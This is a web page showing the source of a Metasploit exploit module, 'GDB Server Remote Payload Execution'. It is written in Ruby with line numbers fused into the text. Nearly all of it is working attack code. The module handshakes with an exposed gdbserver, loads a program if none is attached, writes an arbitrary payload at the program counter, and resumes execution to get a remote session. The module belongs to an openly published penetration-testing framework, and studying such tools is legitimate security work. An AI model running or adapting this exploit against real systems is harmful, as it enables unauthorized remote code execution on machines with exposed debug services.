Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/gdb/gdb_server_exec.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Gdb910def initialize(info = {})11super(12update_info(13info,14'Name' => 'GDB Server Remote Payload Execution',15'Description' => %q{16This module attempts to execute an arbitrary payload on a loose gdbserver service.17},18'Author' => [ 'joev' ],19'Targets' => [20[ 'x86', { 'Arch' => ARCH_X86 } ],21[ 'x86_64', { 'Arch' => ARCH_X64 } ],22[ 'ARMLE', { 'Arch' => ARCH_ARMLE } ],23[ 'AARCH64', { 'Arch' => ARCH_AARCH64 } ],24],25'References' => [26['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']27],28'DisclosureDate' => '2014-08-24',29'Platform' => %w[linux unix osx],30'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],31'Notes' => {32'SideEffects' => [IOC_IN_LOGS],33'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS],34'Reliability' => [REPEATABLE_SESSION]35},36'DefaultTarget' => 0,37'DefaultOptions' => {38'PrependFork' => true39}40)41)4243register_options([44OptString.new('EXE_FILE', [45false,46'The exe to spawn when gdbserver is not attached to a process.',47'/bin/true'48])49])50end5152def exploit53connect5455print_status('Performing handshake with gdbserver...')56handshake5758res = enable_extended_mode59if res !~ /OK/60fail_with(Failure::UnexpectedReply, 'Could not enable extended mode.')61end6263begin64print_status('Stepping program to find PC...')65gdb_data = process_info66rescue BadAckError, BadResponseError67# gdbserver is running with the --multi flag and is not currently68# attached to any process. let's attach to /bin/true or something.69print_status("No process loaded, attempting to load #{datastore['EXE_FILE']}...")70res = run_file(datastore['EXE_FILE'])71if res !~ /OK/72fail_with(Failure::UnexpectedReply, 'Could not load new program.')73end74gdb_data = process_info75end7677gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)7879unless payload.arch.include?(gdb_arch)80fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.")81end8283print_status("Writing payload at #{gdb_pc}...")84write(payload.encoded, gdb_pc)8586print_status('Executing the payload...')87continue({read: false})88ensure89disconnect if sock90end91end929394